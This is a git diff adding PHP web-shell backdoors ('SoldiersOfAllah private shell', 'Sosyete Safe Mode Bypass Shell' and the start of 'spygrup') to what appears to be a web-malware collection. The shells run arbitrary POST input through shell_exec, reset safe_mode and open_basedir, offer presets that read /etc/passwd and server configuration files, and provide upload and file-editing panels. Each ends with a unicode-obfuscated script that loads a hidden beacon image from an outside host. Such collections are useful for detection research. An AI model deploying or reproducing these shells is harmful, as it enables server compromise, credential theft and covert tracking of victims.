onclick=\"document.workdir.changeworkdir.value=\'".dirname(__FILE__)."\'>".dirname(__FILE__)."</i>"; + + ?> + newhtml = '<?php print $folders; ?>'; + } + else if(newtab == "filebrowser") + { + newhtml = '<b>File browser is under construction! Use at your own risk!</b> <br>You can use it to change your working directory easily, don\'t expect too much of it.<br>Click on a file to edit it.<br><i>[W]</i> = set directory as working directory.<br><i>[D]</i> = delete file/directory'; + runcommand('listdir .','GET'); + } + else if(newtab == "createfile") + { + newhtml = '<b>File Editor, under construction.</b>'; + document.getElementById('output').innerHTML = "<form name=\"saveform\"><textarea cols=70 rows=10 id=\"area1\"></textarea><br><input size=80 type=text name=filetosave value=\"<?php print realpath('.')."/".rand(1000,999999).".txt"; ?>\"><input value=\"Save\" type=button onclick=\"SaveFile();\"></form>"; + + } + document.getElementById('commandtab').innerHTML = newhtml; +} +</script> +</head> +<body bgcolor=black onload="sf();" vlink=white alink=white link=white> +<table border=1 width=100% height=100%> +<td width=15% valign=top> + +<form name="extras"><br> +<center><b>Quick Linux/Unix Commands</b><br> + +<div style='margin: 0px;padding: 0px;border: 1px inset;overflow: auto'> +<?php +foreach($functions as $name => $execute) +{ +print '&nbsp;<input type="button" value="'.$name.'" onclick="'.$execute.'"><br>'; +} +?> + +</center> + +</div> +</form> +<center><b>Command history</b><br></center> +<div id="history" style='margin: 0px;padding: 0px;border: 1px inset;width: 100%;height: 20%;text-align: left;overflow: auto;font-size: 10px;'></div> +<br> +<center><b>About US</b><br></center> +<div style='margin: 0px;padding: 0px;border: 1px inset;width: 100%;text-align: center;overflow: auto; font-size: 10px;'> +<br> +<b><font size=3 color="green">SoldiersOfAllah private shell</b></font><br>Modified by cyberkalashnikov +<br> +Version <?php print $version; ?> + +<br> +<br> +<center><font size="2">In The Name Of Allah</font></center> +Dedicated for all of SoldiersOfAllah members + +</div> + +</td> +<td width=70%> +<table border=0 width=100% height=100%><td id="tabs" height=1%><font size=0> +<b style="cursor:crosshair" onclick="set_tab('cmd');">[Execute command]</b> +<b style="cursor:crosshair" onclick="set_tab('upload');">[Upload file]</b> +<b style="cursor:crosshair" onclick="set_tab('workingdir');">[Change directory]</b> +<b style="cursor:crosshair" onclick="set_tab('filebrowser');">[Filebrowser]</b> +<b style="cursor:crosshair" onclick="set_tab('createfile');">[Create File]</b> + +</font></td> +<tr> +<td height=99% width=100% valign=top><div id="output" style='height:100%;white-space:pre;overflow:auto'></div> + +<tr> +<td height=1% width=100% valign=top> +<div id="commandtab" style='height:100%;white-space:pre;overflow:auto'> +&nbsp;&nbsp;&nbsp;<form name="cmdform" onsubmit="return runcommand(document.cmdform.command.value,'GET');"> +<b>Command</b>: <input type=text name=command class=cmdthing size=100%><br> +</form> +</div> +</td> +</table> +</td> +</table> +</body> +</html> + + + +<?php +} +} + +else { +?> +<html> +<title>Login Step ~ <?php print getenv("HTTP_HOST"); ?></title> +<style type="text/css"> +/* Circle Text Styles */ +#outerCircleText { +/* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */ +font-style: italic; +font-weight: bold; +font-family: 'comic sans ms', verdana, arial; +color: #ff0000; +/* End Optional */ +/* Start Required - Do Not Edit */ +position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;} +#outerCircleText div {position: relative;} +#outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;} +/* End Required */ +/* End Circle Text Styles */ +</style> +<script type="text/javascript"> + +;(function(){ + +var msg = ""; +var size = 24; +var circleY = 0.75; var circleX = 2; +var letter_spacing = 5; +var diameter = 10; + +var rotation = 0.4; +var speed = 0.3; +////////////////////// Stop Editing ////////////////////// +if (!window.addEventListener && !window.attachEvent || !document.createElement) return; +msg = msg.split('); +var n = msg.length - 1, a = Math.round(size * diameter * 0.208333), currStep = 20, +ymouse = a * circleY + 20, xmouse = a * circleX + 20, y = [], x = [], Y = [], X = [], +o = document.createElement('div'), oi = document.createElement('div'), +b = document.compatMode && document.compatMode != "BackCompat"? document.documentElement : document.body, +mouse = function(e){ +e = e || window.event; +ymouse = !isNaN(e.pageY)? e.pageY : e.clientY; // y-position +xmouse = !isNaN(e.pageX)? e.pageX : e.clientX; // x-position +}, +makecircle = function(){ // rotation/positioning +if(init.nopy){ +o.style.top = (b || document.body).scrollTop + 'px'; +o.style.left = (b || document.body).scrollLeft + 'px'; +}; +currStep -= rotation; +for (var d, i = n; i > -1; --i){ // makes the circle +d = document.getElementById('iemsg' + i).style; +d.top = Math.round(y[i] + a * Math.sin((currStep + i) / letter_spacing) * circleY - 15) + 'px'; +d.left = Math.round(x[i] + a * Math.cos((currStep + i) / letter_spacing) * circleX) + 'px'; +}; +}, +drag = function(){ // makes the resistance +y[0] = Y[0] += (ymouse - Y[0]) * speed; +x[0] = X[0] += (xmouse - 20 - X[0]) * speed; +for (var i = n; i > 0; --i){ +y[i] = Y[i] += (y[i-1] - Y[i]) * speed; +x[i] = X[i] += (x[i-1] - X[i]) * speed; +}; +makecircle(); +}, +init = function(){ +if(!isNaN(window.pageYOffset)){ +ymouse += window.pageYOffset; +xmouse += window.pageXOffset; +} else init.nopy = true; +for (var d, i = n; i > -1; --i){ +d = document.createElement('div'); d.id = 'iemsg' + i; +d.style.height = d.style.width = a + 'px'; +d.appendChild(document.createTextNode(msg[i])); +oi.appendChild(d); y[i] = x[i] = Y[i] = X[i] = 0; +}; +o.appendChild(oi); document.body.appendChild(o); +setInterval(drag, 25); +}, +ascroll = function(){ +ymouse += window.pageYOffset; +xmouse += window.pageXOffset; +window.removeEventListener('scroll', ascroll, false); +}; +o.id = 'outerCircleText'; o.style.fontSize = size + 'px'; +if (window.addEventListener){ +window.addEventListener('load', init, false); +document.addEventListener('mouseover', mouse, false); +document.addEventListener('mousemove', mouse, false); +if (/Apple/.test(navigator.vendor)) +window.addEventListener('scroll', ascroll, false); +} +else if (window.attachEvent){ +window.attachEvent('onload', init); +document.attachEvent('onmousemove', mouse); +}; +})(); +</script> + +</head> +<body> +<script> + +var text=new Array() +var textsplashcolors=new Array() + + +text[0]="" +text[1]="" +text[2]="" +text[3]="" +text[4]="" +text[5]="" + + +textsplashcolors[0]="Black" +textsplashcolors[1]="Black" +textsplashcolors[2]="Black" +textsplashcolors[3]="Black" +textsplashcolors[4]="Black" +textsplashcolors[5]="Black" +textsplashcolors[6]="Black" + +// the font +var textfont="Ayasmonika" + +// the font-size for IE4x/5x/6x and NS6x (CSS-standard) +var textfontsize=14 + +// the font size for NS4x (HTML-standard) +var textfontsizeHTML=4 + +// the pause between the messages (seconds) +var textpause=2 + +// Do not edit below this line +var textweight="bold" +var textweightA="<b>" +var textweightB="</b>" +var textitalic="normal" +var textitalicA="" +var textitalicB="" +var textalignabsolute="topcenter" +var letterwidth=new Array() +var messagewidth=0 +var messageheight=1 +var i_colors=0 +var letterspace=Math.floor(textfontsize/1.3) +var timer +var i_text=0 +var textsplitted +var i_textpath=0 +var endpause=1 +var endpausemilli=endpause*10 +var maxtextlength=0 +var i_endposition=0 +var windowwidth=0 +var windowheight=0 +var windowwidthfactor=1 +var windowheightfactor=1 +var i_span=0 +var startposmax_x=0 +var startposmax_y=0 +textpause*=1000 +var x_step=new Array() +var y_step=new Array() +var x_finalpos=new Array() +var y_finalpos=0 +var max_loop=20 +var i_loop=0 + +var ns4=document.layers?1:0 +var ns6=document.getElementById&&!document.all?1:0 +var ie=document.all?1:0 + +for (i=0;i<=text.length-1;i++) { + if (text[i].length>=maxtextlength) {maxtextlength=text[i].length} +} +for (i=0;i<=text.length-1;i++) { + text[i]=text[i]+" " +} + +var xpos=new Array() +for (i=0;i<=maxtextlength;i++) { + xpos[i]=5000 +} + +var ypos=new Array() +for (i=0;i<=maxtextlength;i++) { + ypos[i]=5000 +} + +function randomizer(range) { + return Math.floor(range*Math.random()) +} + +function getpagesize() { + if (ie) { + windowheight=parseInt(document.body.clientHeight) + windowwidth=parseInt(document.body.clientWidth) + } + if (ns4 || ns6) { + windowheight=parseInt(window.innerHeight) + windowwidth=parseInt(window.innerWidth) + } + startposmax_x=windowwidth-2*parseInt(textfontsize) + startposmax_y=windowheight-2*parseInt(textfontsize) + + changecontent() +} + +function changecontent() { + messagewidth=0 + var textsa=text[i_text] + textsplitted=textsa.split("") + if (ie) { + for (i=0;i<=textsplitted.length-1;i++) { + var thisspan=eval("document.all.span"+i) + thisspan.innerHTML="<span style='font-family:"+textfont+";font-size:"+textfontsize+";font-style:"+textitalic+";font-weight:"+textweight+";color:"+textsplashcolors[i_colors]+";text-align:center'>"+textsplitted[i]+"</span>" + i_colors++ + if (i_colors>textsplashcolors.length-1) {i_colors=0} + letterwidth[i]=Math.round(thisspan.offsetWidth*1.2) + + if (letterwidth[i]==0) {letterwidth[i]=parseInt(textfontsize)} + messagewidth+=letterwidth[i] + messageheight=Math.round(document.all.span0.offsetHeight) + } + } + if (ns6) { + for (i=0;i<=textsplitted.length-1;i++) { + var thisspan=eval(document.getElementById('span'+i)) + thisspan.innerHTML="<span style='font-family:"+textfont+";font-size:"+textfontsize+";font-style:"+textitalic+";font-weight:"+textweight+";color:"+textsplashcolors[i_colors]+"'>"+textsplitted[i]+"</span>" + i_colors++ + if (i_colors>textsplashcolors.length-1) {i_colors=0} + letterwidth[i]=Math.round(parseInt(thisspan.offsetWidth)*1.2) + if (letterwidth[i]==0) {letterwidth[i]=textfontsize} + messagewidth+=letterwidth[i] + messageheight=Math.round(document.getElementById('span0').offsetHeight) + } + + } + if (ns4) { + for (i=0; i<textsplitted.length-1; i++) { + var thisspan=eval("document.span"+i+".document") + thisspan.write("<p><font size="+textfontsizeHTML+" color="+textsplashcolors[i_colors]+" face="+textfont+">"+textitalicA+textweightA+textsplitted[i]+textweightB+textitalicB+"</font></p>") + thisspan.close() + letterwidth[i]=Math.round(thisspan.width*1.2) + if (letterwidth[i]==0) {letterwidth[i]=textfontsize} + messagewidth+=letterwidth[i] + messageheight=Math.round(document.span0.document.height) + thisspan.clear() + i_colors++ + if (i_colors>textsplashcolors.length-1) {i_colors=0} + } + for (i=0; i<textsplitted.length-1; i++) { + var thisspan=eval("document.span"+i) + thisspan.visibility="show" + } + } + i_text++ + if (i_text>=text.length) {i_text=0} + getfinalpos() +} + +function getfinalpos() { + if (ie || ns6) {var padding_x=100}; if (ns4) {var padding_x=40}; + if (ie || ns6) {var padding_y=80}; if (ns4) {var padding_y=40}; + if (textalignabsolute=="middlecenter") { + x_finalpos[0]=(windowwidth-messagewidth)/2 + y_finalpos=(windowheight-messageheight)/2 + } + else if (textalignabsolute=="topleft") { + x_finalpos[0]=5 + y_finalpos=0 + } + else if (textalignabsolute=="topcenter") { + x_finalpos[0]=(windowwidth-messagewidth)/2 + y_finalpos=0 + } + else if (textalignabsolute=="topright") { + x_finalpos[0]=windowwidth-messagewidth + y_finalpos=0 + } + else if (textalignabsolute=="bottomleft") { + x_finalpos[0]=5 + y_finalpos=windowheight-messageheight + } + else if (textalignabsolute=="bottomcenter") { + x_finalpos[0]=(windowwidth-messagewidth)/2 + y_finalpos=windowheight-messageheight + } + else if (textalignabsolute=="bottomright") { + x_finalpos[0]=windowwidth-messagewidth + y_finalpos=windowheight-messageheight + } + for (i=1;i<textsplitted.length-1;i++) { + x_finalpos[i]=x_finalpos[i-1]+letterwidth[i-1] + } + gotostartpos() +} + +function gotostartpos() { + if (ie) { + for (i=0;i<textsplitted.length-1;i++) { + var thisspan=eval("document.all.span"+i+".style") + thisspan.posLeft=randomizer(startposmax_x) + thisspan.posTop=randomizer(startposmax_y) + } + } + if (ns4) { + for (i=0;i<textsplitted.length-1;i++) { + var thisspan=eval("document.span"+i) + thisspan.left=randomizer(startposmax_x) + thisspan.top=randomizer(startposmax_y) + } + } + if (ns6) { + for (i=0;i<textsplitted.length-1;i++) { + var thisspan=eval("document.getElementById('span'+i).style") + thisspan.left=randomizer(startposmax_x) + thisspan.top=randomizer(startposmax_y) + } + } + gotostandstillpos() +} + +function gotostandstillpos() { + if (ie) { + if (i_loop<=max_loop-1) { + for (i=0;i<textsplitted.length-1;i++) { + var thisspan=eval("document.all.span"+i+".style") + x_step[i]=(x_finalpos[i]-thisspan.posLeft)/(max_loop-i_loop) + y_step[i]=(y_finalpos-thisspan.posTop)/(max_loop-i_loop) + thisspan.posLeft+=x_step[i] + thisspan.posTop+=y_step[i] + } + i_loop++ + var timer=setTimeout("gotostandstillpos()",20) + } + else { + i_loop=0 + clearTimeout(timer) + timer=setTimeout("gotoendpos()",textpause) + } + } + if (ns4) { + if (i_loop<=max_loop-1) { + for (i=0;i<textsplitted.length-1;i++) { + var thisspan=eval("document.span"+i) + x_step[i]=(x_finalpos[i]-thisspan.left)/(max_loop-i_loop) + y_step[i]=(y_finalpos-thisspan.top)/(max_loop-i_loop) + thisspan.left+=x_step[i] + thisspan.top+=y_step[i] + } + i_loop++ + var timer=setTimeout("gotostandstillpos()",20) + } + else { + i_loop=0 + clearTimeout(timer) + timer=setTimeout("gotoendpos()",textpause) + } + } + if (ns6) { + if (i_loop<=max_loop-1) { + for (i=0;i<textsplitted.length-1;i++) { + var thisspan=eval("document.getElementById('span'+i).style") + x_step[i]=(x_finalpos[i]-parseInt(thisspan.left))/(max_loop-i_loop) + y_step[i]=(y_finalpos-parseInt(thisspan.top))/(max_loop-i_loop) + thisspan.left=parseInt(thisspan.left)+x_step[i] + thisspan.top=parseInt(thisspan.top)+y_step[i] + } + i_loop++ + var timer=setTimeout("gotostandstillpos()",20) + } + else { + i_loop=0 + clearTimeout(timer) + timer=setTimeout("gotoendpos()",textpause) + } + } +} + +function gotoendpos() { + if (ie) { + if (i_loop<=textsplitted.length-1) { + var thisspan=eval("document.all.span"+i_loop+".style") + thisspan.posLeft=-1000 + i_loop++ + var timer=setTimeout("gotoendpos()",10) + } + else { + clearTimeout(timer) + i_loop=0 + var timer=setTimeout("changecontent()",400) + } + } + if (ns4) { + if (i_loop<=textsplitted.length-1) { + var thisspan=eval("document.span"+i_loop) + thisspan.left=-1000 + i_loop++ + var timer=setTimeout("gotoendpos()",10) + } + else { + clearTimeout(timer) + i_loop=0 + changecontent() + } + } + + if (ns6) { + if (i_loop<=textsplitted.length-1) { + var thisspan=eval("document.getElementById('span'+i_loop).style") + thisspan.left=-1000 + i_loop++ + var timer=setTimeout("gotoendpos()",10) + } + else { + clearTimeout(timer) + i_loop=0 + changecontent() + } + } +} + +if (ie) { + for (i=0;i<=maxtextlength;i++) { + document.write("<span id='span"+i+"' style='position:absolute'>") + + document.write("</span>") + } + window.onload=getpagesize +} +if (ns6) { + for (i=0;i<=maxtextlength;i++) { + document.write("<span id='span"+i+"' style='position:absolute'>") + document.write(textsplitted) + document.write("</span>") + } + window.onload=getpagesize +} +if (ns4) { + for (i=0;i<=maxtextlength;i++) { + document.write("<layer name='span"+i+"' visibility=hide>") + document.write(textsplitted) + document.write("</layer>") + } + window.onload=getpagesize +} +var backgroundcolor="black" +</script> +<center> +<br><br> +<img src="http://i335.photobucket.com/albums/m469/dna_keylogger/t.jpg" border="0" alt="Tawheed"></a> +<style type="text/css">td{color:#000000;font-size:10pt;font-family:Arial;}input,option{background-color:#FFFFAA;font-family:Arial;}</style> + +<center> +<script> +var message=new Array() +message[0]="Welcome to Soldiers of Allah Shell" +message[1]="Before You Use This Stuff" +message[2]="Please Login Before" +message[3]="Soldiers of Allah has been hacked Your system" + +// enter the width and height of the ticker (pixel) +var tickerwidth=750 +var tickerheight=350 + +// enter font +var tickerfont="Arial" + +// enter font-size +var tickerfontsize=6 + +// enter the three font-colors +var tickerfontcolorpre="White" +var tickerfontcolormark="Green" +var tickerfontcolorafter="Gold" + +// enter the background-color +var backgroundcolor="black" + +// enter the pause between each word marked (1000 = 1 second) +var pausebetweenwords=200 + +// enter the pause between each message (1000 = 1 second) +var pausebetweenmessages=1000 + +// enter the pause after the fade effect (1000 = 1 second) +var pauseafterfade=1000 + +// do not edit the code below this line +var transparency=100 +var transparencystep=5 +var windowheight=0 +var windowwidth=0 +var x_pos=0 +var y_pos=0 +var i_message=-1 +var messagesplit="" +var i_messagesplit=0 +var i_mark=0 +var tickercontent +var pausefade=40 +var linkurlloaded=false +var oneloopfinished=false +var ns4=document.layers?1:0 +var ns6=document.getElementById&&!document.all?1:0 +var ie=document.all?1:0 + +function splitmessage() { + transparency=100 + if (ie) { + i_message++ + if (i_message>=message.length) {oneloopfinished=true} + if (i_message>=message.length) {i_message=0} + i_mark=0 + messagesplit=message[i_message].split(" ") + for (i=0;i<messagesplit.length;i++) { + messagesplit[i]=messagesplit[i]+" " + } + messagesplit[messagesplit.length]=" " + + document.all.ticker.filters.alpha.opacity=transparency + if (oneloopfinished && linkurlloaded) { + document.location.href=linkurl + } + else { + runticker() + } + } + else if (ns6 || ns4) { + i_message++ + if (i_message>=message.length) {document.location.href=linkurl} + else { + i_mark=0 + messagesplit=message[i_message].split(" ") + for (i=0;i<messagesplit.length;i++) { + messagesplit[i]=messagesplit[i]+" " + } + messagesplit[messagesplit.length]=" " + if (ns6) { + document.getElementById('ticker').style.MozOpacity=transparency/100 + } + runticker() + } + } + else { + document.location.href=linkurl + } +} + +function runticker() { + if (i_mark<messagesplit.length) { + gettickercontent() + + if (ie) { + ticker.innerHTML=tickercontent + } + if (ns6) { + document.getElementById('ticker').innerHTML=tickercontent + } + if (ns4) { + document.ticker.document.write(tickercontent) + document.ticker.document.close() + } + i_mark++ + + var tickertimer=setTimeout("runticker()",pausebetweenwords) + + } + else { + clearTimeout(tickertimer) + setTimeout("fade()",pausebetweenmessages) + } +} + +function fade() { + if (transparency>0){ + transparency-=transparencystep + if (ie) { + document.all.ticker.filters.alpha.opacity=transparency + } + if (ns6) { + document.getElementById('ticker').style.MozOpacity=transparency/100 + } + var fadetimer=setTimeout("fade()",pausefade) + } + else { + clearTimeout(fadetimer) + setTimeout("splitmessage()",pauseafterfade) + } +} + +function gettickercontent() { + + tickercontent="<table width="+tickerwidth+" height="+tickerheight+" cellpadding=0 cellspacing=0 border=0><tr valign=middle><td align=center>" + tickercontent+="<font face=\""+tickerfont+"\" size="+tickerfontsize+" color=\""+tickerfontcolorpre+"\">" + for (i=0;i<i_mark;i++) { + tickercontent+=messagesplit[i] + } + tickercontent+="</font>" + tickercontent+="<font face=\""+tickerfont+"\" size="+tickerfontsize+" color=\""+tickerfontcolormark+"\">" + tickercontent+=messagesplit[i_mark] + tickercontent+="</font>" + tickercontent+="<font face=\""+tickerfont+"\" size="+tickerfontsize+" color=\""+tickerfontcolorafter+"\">" + for (i=(i_mark+1);i<messagesplit.length;i++) { + tickercontent+=messagesplit[i] + } + tickercontent+="</font>" + tickercontent+="</td></tr></table>" + +} + +setposition() +function setposition() { + if (ie) { + windowheight=document.body.clientHeight + windowwidth=document.body.clientWidth + } + if (ns6) { + windowheight=window.innerHeight + windowwidth=window.innerWidth + } + if (ns4) { + windowheight=window.innerHeight + windowwidth=window.innerWidth + } + x_pos=(windowwidth-tickerwidth)/2 + y_pos=(windowheight-tickerheight)/2 + document.bgColor=backgroundcolor +} +function jump() { + linkurlloaded=true +} + +if (ie) { + document.write("<div id=\"ticker\" style=\"position:absolute;top:"+y_pos+"px;left:"+x_pos+"px;width:"+tickerwidth+"px;height:"+tickerheight+"px;overflow:hidden\;filter:alpha(opacity=100);-moz-opacity:100\">") + document.write("</div>") + document.write("<iframe onLoad=\"jump()\" src="+linkurl+" width=0 height=0></iframe>") + splitmessage() +} +else if (ns6) { + document.write("<div id=\"ticker\" style=\"position:absolute;top:"+y_pos+"px;left:"+x_pos+"px;width:"+tickerwidth+"px;height:"+tickerheight+"px;overflow:hidden\;-moz-opacity:100\">") + document.write("</div>") + splitmessage() +} +else if (ns4) { + document.write("<layer name=\"ticker\" width="+tickerwidth+" height="+tickerheight+" top="+y_pos+" left="+x_pos+">") + document.write("tickercontent") + document.write("</layer>") + document.close() + window.onload=splitmessage +} +else { + document.location.href=linkurl +} +</script></center> + +</body> +</html> +<?php print "<center><table border=0 height=100%> +<td valign=middle> +<form action=".basename(__FILE__)." method=POST><font color=white>Please login before use your stuff</font><br><b></b><input type=login name=p4ssw0rD><input type=submit value=\"Log in\"> +</form>"; +} +?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/sosyete.txt b/web-malware-collection-master/Backdoors/PHP/sosyete.txt new file mode 100755 index 0000000..11f23ae --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/sosyete.txt @@ -0,0 +1,222 @@ +<html> + <head> + <meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><meta http-equiv="Content-Language" content="ar-sa"> + <title>Sosyete Safe Mode Bypass Shell - Edited By KingDefacer</title> + + <style> + td { + font-family: verdana, arial, ms sans serif, sans-serif; + font-size: 11px; + color: #D5ECF9; + } + BODY { + margin-top: 4px; + margin-right: 4px; + margin-bottom: 4px; + margin-left: 4px; + scrollbar-face-color: #b6b5b5; + scrollbar-highlight-color: #758393; + scrollbar-3dlight-color: #000000; + scrollbar-darkshadow-color: #101842; + scrollbar-shadow-color: #ffffff; + scrollbar-arrow-color: #000000; + scrollbar-track-color: #ffffff; + } + A:link {COLOR:blue; TEXT-DECORATION: none} + A:visited { COLOR:blue; TEXT-DECORATION: none} + A:active {COLOR:blue; TEXT-DECORATION: none} + A:hover {color:red;TEXT-DECORATION: none} + input, textarea, select { + background-color: #EBEAEA; + border-style: solid; + border-width: 1px; + font-family: verdana, arial, sans-serif; + font-size: 11px; + color: #333333; + padding: 0px; + } + </style> + </head> + <BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0 style="color:#DCE7EF"> + <center> + <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr> + <th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2" bgcolor="#000000"> + <p align="center"> </p> + <p align="center"> + <a bookmark="minipanel"> + <font face="Webdings" size="7" color="#DCE7EF"></font></a><font size="7" face="Martina"></font><span lang="en-us"><font size="3" face="Martina"> </font> + <br> + <font color="#FFFF00" face="Arial" size="7"><span lang="en-us"></span></font></p> + </p> + <a bookmark="minipanel"> + <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> + <p align="center">Sosyete Safe Mode Bypass Shell - Edited By KingDefacer + <b> + <font color="#FFFF00" face="Arial" size="7"><span lang="en-us"></span></font></p> + </p> + <a bookmark="minipanel"> + <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> + <p align="center">~ + <b> + + + <p> + </form> + </p> + </td> + + + </tr> + </table> + </a> + + <p> + + <br> + </p> + + <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> + <td width="990" height="1" valign="top" style="color: #DCE7EF" bgcolor="#000000"><p align="center"> + <b> + </b> + <font face="Wingdings 3" size="5"></font><b>Sosyete Safe Mode Bypass Shell ; Bypass shell'lerden esinlenerek bir�ok shell'in ortak karisimi olarak sunulmustur.<span lang="en-us"></span><span lang="en-us"></span> </b><font face="Wingdings 3" size="5"></font></p><p align="center"> </p></td></tr></table> + +</a> + + +<div align="right"> + +<span lang="en-us"> + + </span> + </div> + </body> + </html> + + <? + + +echo "<b><font color=red>Sosyete Bypass Main Menu</font></b><br>"; + +print_r(' + + + + +<pre> + + +<form method="POST" action=""> +<b><font color=red> </font></b><input name="sosyete" type="text"><input value="&#199;al&#305;&#351;t&#305;r" type="submit"> +</form> +<form method="POST" action=""> +<b><font color=red></font><select size="1" name="fuck"> +<option value=" ">Sosyete safe mode bypass shell</option> +<option value="id;pwd">id & Dizin</option> +<option value="ls">Dosyalar</option> +<option value="uname -a">Server</option> +<option value="netstat -an | grep -i listen">A&#231;&#305;k Portlar</option> +<option value="ipconfig">A&#287; Bilgisi</option> +<option value="ps -aux">Uygulamalar</option> +<option value="who -q">Kullan&#305;c&#305; Say&#305;s&#305;</option> +<option value="cat /etc/passwd">cat/etc/passwd</option> +<option value="cat /var/cpanel/accounting.log">cat/var/cpanel/accounting.log</option> +<option value="cat /etc/syslog.conf">cat/etc/syslog.conf</option> +<option value="cat /etc/hosts">cat/etc/hosts</option> +<option value="cat /etc/named.conf">cat/etc/named.conf</option> +<option value="cat /etc/httpd/conf/httpd.conf">cat/etc/httpd/conf/httpd.conf</option> +</select> <input type="submit" value="&#199;al&#305;&#351;t&#305;r"> +</form> +</pre> +<style> + td { + font-family: verdana, arial, ms sans serif, sans-serif; + font-size: 11px; + color: #D5ECF9; + } + BODY { + margin-top: 4px; + margin-right: 4px; + margin-bottom: 4px; + margin-left: 4px; + scrollbar-face-color: #b6b5b5; + scrollbar-highlight-color: #758393; + scrollbar-3dlight-color: #000000; + scrollbar-darkshadow-color: #101842; + scrollbar-shadow-color: #ffffff; + scrollbar-arrow-color: #000000; + scrollbar-track-color: #ffffff; + } + A:link {COLOR:blue; TEXT-DECORATION: none} + A:visited { COLOR:blue; TEXT-DECORATION: none} + A:active {COLOR:blue; TEXT-DECORATION: none} + A:hover {color:red;TEXT-DECORATION: none} + input, textarea, select { + background-color: #EBEAEA; + border-style: solid; + border-width: 1px; + font-family: verdana, arial, sans-serif; + font-size: 11px; + color: #333333; + padding: 0px; + } + </style></head> +<BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0 style="color:#DCE7EF"> +<center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr> + <th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2" bgcolor="#000000"> +<p align="center"> </p> + <p align="center"> +<a bookmark="minipanel"> + <font face="Webdings" size="7" color="#DCE7EF"></font></a><font size="7" face="Martina"></font><span lang="en-us"><font size="3" face="Martina"> </font> + <br> +<font color="#FFFF00" face="Arial" size="7"><span lang="en-us"></span></font></p> +</p> + + +<div align="right"> + +<span lang="en-us"> </span></div></body></html> + + +'); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +$fuck=shell_exec($_POST[sosyete]); +$mokoko=shell_exec($_POST[fuck]); +echo "<pre><h4>"; +echo "<b><font color=red>Komut Sonucu </font></b><br>"; +echo $fuck; +echo $mokoko; +echo "</h4></pre>"; + +?> + +</tr> + </table> + + </a> + <p> + + <br> + + </p> + <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> + <td width="990" height="1" valign="top" style="color: #DCE7EF" bgcolor="#000000"><p align="center"> + + <b> + + </b><font face="Wingdings 3" size="5"></font><b><font color="#CC0000">Sosyete Safe Mode Bypass Shell<span lang="en-us"></span> <span lang="en-us"> </span> </b><font color="#CC0000"><b>Coded by</b> </font><b><span lang="en-us"><a href="http://www.R57.Gen.Tr"><font color="#CC0000">R57.gen.tr</a></span><font color="#CC0000"> ~ <span lang="en-us">Sosyete</span> </b><font face="Wingdings 3" size="5"> </font></p><p align="center"> </p></td></tr></table> + +</a> + + +<div align="right"> + +<span lang="en-us"> + +</span> + </div> + </body> + +</html> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/spygrup.txt b/web-malware-collection-master/Backdoors/PHP/spygrup.txt new file mode 100755 index 0000000..022d817 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/spygrup.txt @@ -0,0 +1,183 @@ + + <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> +<head> + <meta http-equiv="Content-Language" content="en-us"> + <style type="text/css"> + <!-- + .style1 {color: #DADADA} + --> + </style></head> + <STYLE> + TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: 